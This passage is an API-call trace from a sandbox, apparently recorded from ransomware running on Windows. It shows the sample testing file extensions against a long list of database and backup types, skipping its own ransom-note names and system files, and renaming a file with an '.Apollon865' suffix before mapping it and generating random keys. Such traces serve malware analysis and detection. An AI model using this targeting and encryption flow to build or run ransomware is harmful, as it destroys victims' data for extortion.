	[0063.724] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1
	[0063.724] lstrlenW (lpString="dbc") returned 3
	[0063.724] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1
	[0063.724] lstrlenW (lpString="dbs") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1
	[0063.725] lstrlenW (lpString="dbt") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1
	[0063.725] lstrlenW (lpString="dbv") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1
	[0063.725] lstrlenW (lpString="dbx") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1
	[0063.725] lstrlenW (lpString="dcb") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1
	[0063.725] lstrlenW (lpString="dct") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1
	[0063.725] lstrlenW (lpString="dcx") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1
	[0063.725] lstrlenW (lpString="ddl") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1
	[0063.725] lstrlenW (lpString="dlis") returned 4
	[0063.725] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1
	[0063.725] lstrlenW (lpString="dp1") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1
	[0063.725] lstrlenW (lpString="dqy") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1
	[0063.725] lstrlenW (lpString="dsk") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1
	[0063.725] lstrlenW (lpString="dsn") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1
	[0063.725] lstrlenW (lpString="dtsx") returned 4
	[0063.725] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1
	[0063.725] lstrlenW (lpString="dxl") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1
	[0063.725] lstrlenW (lpString="eco") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1
	[0063.725] lstrlenW (lpString="ecx") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1
	[0063.725] lstrlenW (lpString="edb") returned 3
	[0063.725] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1
	[0063.726] lstrlenW (lpString="epim") returned 4
	[0063.726] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1
	[0063.726] lstrlenW (lpString="fcd") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1
	[0063.726] lstrlenW (lpString="fdb") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1
	[0063.726] lstrlenW (lpString="fic") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1
	[0063.726] lstrlenW (lpString="flexolibrary") returned 12
	[0063.726] lstrlenW (lpString="fm5") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1
	[0063.726] lstrlenW (lpString="fmp") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1
	[0063.726] lstrlenW (lpString="fmp12") returned 5
	[0063.726] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1
	[0063.726] lstrlenW (lpString="fmpsl") returned 5
	[0063.726] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1
	[0063.726] lstrlenW (lpString="fol") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1
	[0063.726] lstrlenW (lpString="fp3") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1
	[0063.726] lstrlenW (lpString="fp4") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1
	[0063.726] lstrlenW (lpString="fp5") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1
	[0063.726] lstrlenW (lpString="fp7") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1
	[0063.726] lstrlenW (lpString="fpt") returned 3
	[0063.726] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1
	[0063.726] lstrlenW (lpString="frm") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1
	[0063.727] lstrlenW (lpString="gdb") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0063.727] lstrlenW (lpString="gdb") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0063.727] lstrlenW (lpString="grdb") returned 4
	[0063.727] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1
	[0063.727] lstrlenW (lpString="gwi") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1
	[0063.727] lstrlenW (lpString="hdb") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1
	[0063.727] lstrlenW (lpString="his") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1
	[0063.727] lstrlenW (lpString="ib") returned 2
	[0063.727] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1
	[0063.727] lstrlenW (lpString="idb") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1
	[0063.727] lstrlenW (lpString="ihx") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1
	[0063.727] lstrlenW (lpString="itdb") returned 4
	[0063.727] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1
	[0063.727] lstrlenW (lpString="itw") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1
	[0063.727] lstrlenW (lpString="jet") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1
	[0063.727] lstrlenW (lpString="jtx") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1
	[0063.727] lstrlenW (lpString="kdb") returned 3
	[0063.727] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1
	[0063.727] lstrlenW (lpString="kexi") returned 4
	[0063.728] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1
	[0063.728] lstrlenW (lpString="kexic") returned 5
	[0063.728] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1
	[0063.728] lstrlenW (lpString="kexis") returned 5
	[0063.728] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1
	[0063.728] lstrlenW (lpString="lgc") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1
	[0063.728] lstrlenW (lpString="lwx") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1
	[0063.728] lstrlenW (lpString="maf") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1
	[0063.728] lstrlenW (lpString="maq") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1
	[0063.728] lstrlenW (lpString="mar") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1
	[0063.728] lstrlenW (lpString="marshal") returned 7
	[0063.728] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1
	[0063.728] lstrlenW (lpString="mas") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1
	[0063.728] lstrlenW (lpString="mav") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1
	[0063.728] lstrlenW (lpString="maw") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1
	[0063.728] lstrlenW (lpString="mdbhtml") returned 7
	[0063.728] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1
	[0063.728] lstrlenW (lpString="mdn") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1
	[0063.728] lstrlenW (lpString="mdt") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1
	[0063.728] lstrlenW (lpString="mfd") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1
	[0063.728] lstrlenW (lpString="mpd") returned 3
	[0063.728] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1
	[0063.728] lstrlenW (lpString="mrg") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1
	[0063.729] lstrlenW (lpString="mud") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1
	[0063.729] lstrlenW (lpString="mwb") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1
	[0063.729] lstrlenW (lpString="myd") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1
	[0063.729] lstrlenW (lpString="ndf") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1
	[0063.729] lstrlenW (lpString="nnt") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1
	[0063.729] lstrlenW (lpString="nrmlib") returned 6
	[0063.729] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1
	[0063.729] lstrlenW (lpString="ns2") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1
	[0063.729] lstrlenW (lpString="ns3") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1
	[0063.729] lstrlenW (lpString="ns4") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1
	[0063.729] lstrlenW (lpString="nsf") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1
	[0063.729] lstrlenW (lpString="nv") returned 2
	[0063.729] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1
	[0063.729] lstrlenW (lpString="nv2") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1
	[0063.729] lstrlenW (lpString="nwdb") returned 4
	[0063.729] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1
	[0063.729] lstrlenW (lpString="nyf") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1
	[0063.729] lstrlenW (lpString="odb") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0063.729] lstrlenW (lpString="odb") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0063.729] lstrlenW (lpString="oqy") returned 3
	[0063.729] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1
	[0063.730] lstrlenW (lpString="ora") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1
	[0063.730] lstrlenW (lpString="orx") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1
	[0063.730] lstrlenW (lpString="owc") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1
	[0063.730] lstrlenW (lpString="p96") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1
	[0063.730] lstrlenW (lpString="p97") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1
	[0063.730] lstrlenW (lpString="pan") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1
	[0063.730] lstrlenW (lpString="pdb") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1
	[0063.730] lstrlenW (lpString="pdm") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1
	[0063.730] lstrlenW (lpString="pnz") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1
	[0063.730] lstrlenW (lpString="qry") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1
	[0063.730] lstrlenW (lpString="qvd") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1
	[0063.730] lstrlenW (lpString="rbf") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1
	[0063.730] lstrlenW (lpString="rctd") returned 4
	[0063.730] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1
	[0063.730] lstrlenW (lpString="rod") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1
	[0063.730] lstrlenW (lpString="rodx") returned 4
	[0063.730] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1
	[0063.730] lstrlenW (lpString="rpd") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1
	[0063.730] lstrlenW (lpString="rsd") returned 3
	[0063.730] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1
	[0063.731] lstrlenW (lpString="sas7bdat") returned 8
	[0063.731] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1
	[0063.731] lstrlenW (lpString="sbf") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1
	[0063.731] lstrlenW (lpString="scx") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1
	[0063.731] lstrlenW (lpString="sdb") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1
	[0063.731] lstrlenW (lpString="sdc") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1
	[0063.731] lstrlenW (lpString="sdf") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1
	[0063.731] lstrlenW (lpString="sis") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1
	[0063.731] lstrlenW (lpString="spq") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1
	[0063.731] lstrlenW (lpString="te") returned 2
	[0063.731] lstrcmpiW (lpString1="sm", lpString2="te") returned -1
	[0063.731] lstrlenW (lpString="teacher") returned 7
	[0063.731] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1
	[0063.731] lstrlenW (lpString="tmd") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1
	[0063.731] lstrlenW (lpString="tps") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1
	[0063.731] lstrlenW (lpString="trc") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0063.731] lstrlenW (lpString="trc") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0063.731] lstrlenW (lpString="trm") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1
	[0063.731] lstrlenW (lpString="udb") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1
	[0063.731] lstrlenW (lpString="udl") returned 3
	[0063.731] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1
	[0063.731] lstrlenW (lpString="usr") returned 3
	[0063.732] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1
	[0063.732] lstrlenW (lpString="v12") returned 3
	[0063.732] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1
	[0063.732] lstrlenW (lpString="vis") returned 3
	[0063.732] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1
	[0063.732] lstrlenW (lpString="vpd") returned 3
	[0063.732] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1
	[0063.732] lstrlenW (lpString="vvv") returned 3
	[0063.732] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1
	[0063.732] lstrlenW (lpString="wdb") returned 3
	[0063.732] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1
	[0063.732] lstrlenW (lpString="wmdb") returned 4
	[0063.732] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1
	[0063.732] lstrlenW (lpString="wrk") returned 3
	[0063.732] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1
	[0063.732] lstrlenW (lpString="xdb") returned 3
	[0063.732] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1
	[0063.732] lstrlenW (lpString="xld") returned 3
	[0063.732] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1
	[0063.732] lstrlenW (lpString="xmlff") returned 5
	[0063.732] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1
	[0063.732] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.Apollon865") returned 92
	[0063.732] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.apollon865"), dwFlags=0x1) returned 1
	[0063.733] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0063.733] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=766) returned 1
	[0063.733] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0063.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.734] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.734] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.734] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.735] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x600, lpName=0x0) returned 0x150
	[0063.736] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x600) returned 0x100000
	[0063.737] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.738] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.738] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.738] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0063.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0063.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.738] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0063.738] CloseHandle (hObject=0x150) returned 1
	[0063.738] CloseHandle (hObject=0x118) returned 1
	[0063.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0063.739] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="Apollon865.txt.exe") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="..") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="windows") returned -1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="bootmgr") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="temp") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="pagefile.sys") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="boot") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="ids.txt") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="ntuser.dat") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="perflogs") returned 1
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2="MSBuild") returned 1
	[0063.739] lstrlenW (lpString="VC_redist.x86.exe") returned 17
	[0063.739] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned 81
	[0063.739] lstrcpyW (in: lpString1=0x119e698, lpString2="VC_redist.x86.exe" | out: lpString1="VC_redist.x86.exe") returned="VC_redist.x86.exe"
	[0063.739] lstrlenW (lpString="VC_redist.x86.exe") returned 17
	[0063.739] lstrlenW (lpString="Apollon865") returned 10
	[0063.739] lstrcmpiW (lpString1="st.x86.exe", lpString2="Apollon865") returned 1
	[0063.739] lstrlenW (lpString=".dll") returned 4
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".dll") returned 1
	[0063.739] lstrlenW (lpString=".lnk") returned 4
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".lnk") returned 1
	[0063.739] lstrlenW (lpString=".ini") returned 4
	[0063.739] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".ini") returned 1
	[0063.740] lstrlenW (lpString=".sys") returned 4
	[0063.740] lstrcmpiW (lpString1="VC_redist.x86.exe", lpString2=".sys") returned 1
	[0063.740] lstrlenW (lpString="VC_redist.x86.exe") returned 17
	[0063.740] lstrlenW (lpString="bak") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0063.740] lstrlenW (lpString="ba_") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0063.740] lstrlenW (lpString="dbb") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0063.740] lstrlenW (lpString="vmdk") returned 4
	[0063.740] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0063.740] lstrlenW (lpString="rar") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0063.740] lstrlenW (lpString="zip") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0063.740] lstrlenW (lpString="tgz") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0063.740] lstrlenW (lpString="vbox") returned 4
	[0063.740] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0063.740] lstrlenW (lpString="vdi") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0063.740] lstrlenW (lpString="vhd") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0063.740] lstrlenW (lpString="vhdx") returned 4
	[0063.740] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0063.740] lstrlenW (lpString="avhd") returned 4
	[0063.740] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0063.740] lstrlenW (lpString="db") returned 2
	[0063.740] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0063.740] lstrlenW (lpString="db2") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0063.740] lstrlenW (lpString="db3") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0063.740] lstrlenW (lpString="dbf") returned 3
	[0063.740] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0063.740] lstrlenW (lpString="mdf") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0063.741] lstrlenW (lpString="mdb") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0063.741] lstrlenW (lpString="sql") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0063.741] lstrlenW (lpString="sqlite") returned 6
	[0063.741] lstrcmpiW (lpString1="86.exe", lpString2="sqlite") returned -1
	[0063.741] lstrlenW (lpString="sqlite3") returned 7
	[0063.741] lstrcmpiW (lpString1="x86.exe", lpString2="sqlite3") returned 1
	[0063.741] lstrlenW (lpString="sqlitedb") returned 8
	[0063.741] lstrcmpiW (lpString1=".x86.exe", lpString2="sqlitedb") returned -1
	[0063.741] lstrlenW (lpString="xml") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0063.741] lstrlenW (lpString="$er") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0063.741] lstrlenW (lpString="4dd") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0063.741] lstrlenW (lpString="4dl") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0063.741] lstrlenW (lpString="^^^") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0063.741] lstrlenW (lpString="abs") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0063.741] lstrlenW (lpString="abx") returned 3
	[0063.741] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0063.741] lstrlenW (lpString="accdb") returned 5
	[0063.741] lstrcmpiW (lpString1="6.exe", lpString2="accdb") returned -1
	[0063.741] lstrlenW (lpString="accdc") returned 5
	[0063.741] lstrcmpiW (lpString1="6.exe", lpString2="accdc") returned -1
	[0063.741] lstrlenW (lpString="accde") returned 5
	[0063.741] lstrcmpiW (lpString1="6.exe", lpString2="accde") returned -1
	[0063.741] lstrlenW (lpString="accdr") returned 5
	[0063.741] lstrcmpiW (lpString1="6.exe", lpString2="accdr") returned -1
	[0063.741] lstrlenW (lpString="accdt") returned 5
	[0063.741] lstrcmpiW (lpString1="6.exe", lpString2="accdt") returned -1
	[0063.742] lstrlenW (lpString="accdw") returned 5
	[0063.742] lstrcmpiW (lpString1="6.exe", lpString2="accdw") returned -1
	[0063.742] lstrlenW (lpString="accft") returned 5
	[0063.742] lstrcmpiW (lpString1="6.exe", lpString2="accft") returned -1
	[0063.742] lstrlenW (lpString="adb") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0063.742] lstrlenW (lpString="adb") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0063.742] lstrlenW (lpString="ade") returned 3
